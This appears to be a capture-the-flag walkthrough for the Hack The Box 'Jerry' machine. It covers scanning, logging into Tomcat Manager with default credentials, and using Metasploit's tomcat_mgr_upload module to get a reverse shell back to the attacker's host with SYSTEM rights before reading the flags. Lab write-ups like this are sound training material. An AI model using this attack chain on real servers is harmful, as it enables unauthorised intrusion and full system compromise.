First you need to copy the IP of the target machine - You can find it in your Hack The Box account. For this walkthrough the IP of the target is 10.129.238.159 but you will have a different one.
As usual let's start with nmap:
nmap -sC -sV 10.129.238.159
We are suggested to try -Pn so let's try:
nmap -sV -Pn 10.129.238.159
Port 8080 is open so let's open our browser and type in the url bar:
10.129.238.159:8080
We get this website
As usual let's first do a gobuster to enumerate any hidden directories on this website. Type:
gobuster dir -u http://10.129.238.159:8080 -w /opt/useful/SecLists/Discovery/Web-Content/common.txt -x php
We can look into each of these directories but one that stands out is /manager so let's open our browser and type the following in the url bar:
10.129.238.159:8080/manager
We are prompted for a login. Let's try our luck and enter admin as username and admin as the password. We get the following error message:
Looks like there are some credentials here. tomcat as the username and s3cret as the password.
Let's try to login again but this time with tomcat and s3cret.
Open the browser and type in the url bar:
10.129.238.159:8080/manager
But this time we are unable to provide our login details and we go straight to the error message.
Let's clear our cookies, close the browser and try again!
This time we get the login page back, so let's enter tomcat as the username and s3cret as the password:
This time we are in!
Now let's google the following "Apache Tomcat Reverse Shell" and see what we can find. The first link seems interesting : https://vk9-sec.com/apache-tomcat-manager-war-reverse-shell/
Let's follow the steps in the article. Looks like they are using 2 metasploit exploits, one to get the credentials (which we already found) and a second exploit to get a shell on the target machine.
First we need to open Metasploit, so from your command prompt, type:
msfconsole
search tomcat
As recommended in the article, let's use auxiliary/scanner/http/tomcat_mgr_login so type:
use auxiliary/scanner/http/tomcat_mgr_login
Type:
show options
For the exploit to work, we are required to provide the following:
RHOSTS - remote Host
RPORT - remote Port
set RHOSTS 10.129.238.159
set RPORT 8080
now let's run the exploit:
exploit
We get 1 Login Successful with username tomcat and password s3cret
Still following the article above, let's look for the second exploit:
search tomcat_mgr
use exploit/multi/http/tomcat_mgr_upload
show options
We need to provide RHOSTS (remote host) and RPORT (remote port) along with LHOST (local host) and LPORT (local port) for the exploit to work.
set RHOSTS 10.129.238.159
set RPORT 8080
set LHOST 10.10.14.10
For LHOST we provide the IP of our machine. You can find it by opening a new command prompt window on your machine and type ifconfig
set LPORT 4444
Now that we have set up everything, let's run the exploit
exploit
ok it didn't work! that's because it needs a username and a password to access http://10.129.238.159:8080/manager
We found the username and the password earlier. Username is tomcat and password is s3cret so let's set that up too:
set HttpPassword s3cret
set HttpUsername tomcat
exploit
Great! now we got the shell!
First type:
shell
whoami
We are nt authority\system which is a powerful account with unrestricted access to the system!
cd C:/
Flags are often in the C:\Users\Administrator\Desktop directory so let's type:
cd C:\Users\Administrator\Desktop
dir
cd flags
dir
type "2 for the price of 1.txt"
We got both the user flag and the root flag!
Don't forget to copy paste these flags and submit these flags in your Hack The Box account to be able to fully own the Jerry machine.
تعليقات